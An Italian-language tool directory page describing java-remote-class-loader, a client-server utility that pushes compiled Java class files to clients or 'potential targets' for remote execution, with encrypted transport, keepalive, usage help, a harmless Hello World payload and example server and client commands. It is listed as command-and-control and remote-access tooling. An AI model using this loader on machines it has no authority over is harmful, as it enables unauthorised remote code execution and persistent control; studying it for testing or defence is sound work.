Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
java-remote-class-loader — Strumento client-server per caricare ed eseguire remotamente bytecode Java tramite ClassLoader e API Reflect, con crittografia ChaCha20 e connessione keepalive. | Kitploit
Strumenti/GitHubGitHub/joaovarelas/java-remote-class-loader
Strumenti di Crittografia/DecrittografiaGenerazione di PayloadExploitCommand and ControlStrumento di Accesso RemotoSviluppo Payload
GitHubjoaovarelas/java-remote-class-loader

java-remote-class-loader

Strumento client-server per caricare ed eseguire remotamente bytecode Java tramite ClassLoader e API Reflect, con crittografia ChaCha20 e connessione keepalive.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
3463 anni faRevisionato da Kitploit

java-remote-class-loader

Questo strumento ti permette di inviare bytecode Java sotto forma di file class ai tuoi client (o potenziali obiettivi) da caricare ed eseguire utilizzando Java ClassLoader insieme all'API Reflect. Il client riceve il file class dal server e restituisce il rispettivo output di esecuzione. I payload devono essere scritti in Java e compilati prima di avviare il server.

Caratteristiche

  • Architettura client-server
  • Caricamento remoto di file class Java
  • Crittografia in transito usando il cifrario ChaCha20
  • Impostazioni definite tramite argomenti
  • Meccanismo keepalive per ristabilire la comunicazione se il server si riavvia

Installazione

Lo strumento è stato testato utilizzando OpenJDK 11 con JRE Java Package, sia su Windows che su Linux (versione zip portatile). La versione di Java deve essere 11 o successiva a causa delle dipendenze.

https://www.openlogic.com/openjdk-downloads

Utilizzo

root@kitploit:~
$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       address to connect (client) / to bind (server)
 -classfile <arg>     filename of bytecode .class file to load remotely
                      (default: Payload.class)
 -classmethod <arg>   name of method to invoke (default: exec)
 -classname <arg>     name of class (default: Payload)
 -client              run as client
 -help                print this message
 -keepalive           keeps the client getting classfile from server every
                      X seconds (default: 3 seconds)
 -key <arg>           secret key - 256 bits in base64 format (if not
                      specified it will generate a new one)
 -port <arg>          port to connect (client) / to bind (server)
 -server              run as server

Esempio

Supponendo di avere il seguente payload Hello World nel file Payload.java:

root@kitploit:~
//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

Poi dovresti compilare e produrre il rispettivo file Payload.class.

Per eseguire il processo server in ascolto sulla porta 1337 su tutte le interfacce di rete:

root@kitploit:~
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Lato client, puoi usare lo stesso pacchetto JAR con il flag -client e utilizzare la chiave simmetrica generata dal server. Specifica l'indirizzo IP e la porta del server a cui connetterti. Puoi anche cambiare il nome della classe e il metodo della classe (i valori predefiniti sono rispettivamente Payload e String exec()). Inoltre, puoi specificare -keepalive per far sì che il client continui a richiedere il file class dal server mantenendo la connessione.

root@kitploit:~
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

Riferimenti

Fai riferimento a https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ per un post del blog relativo allo sviluppo di questo strumento.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

Scarica lo strumento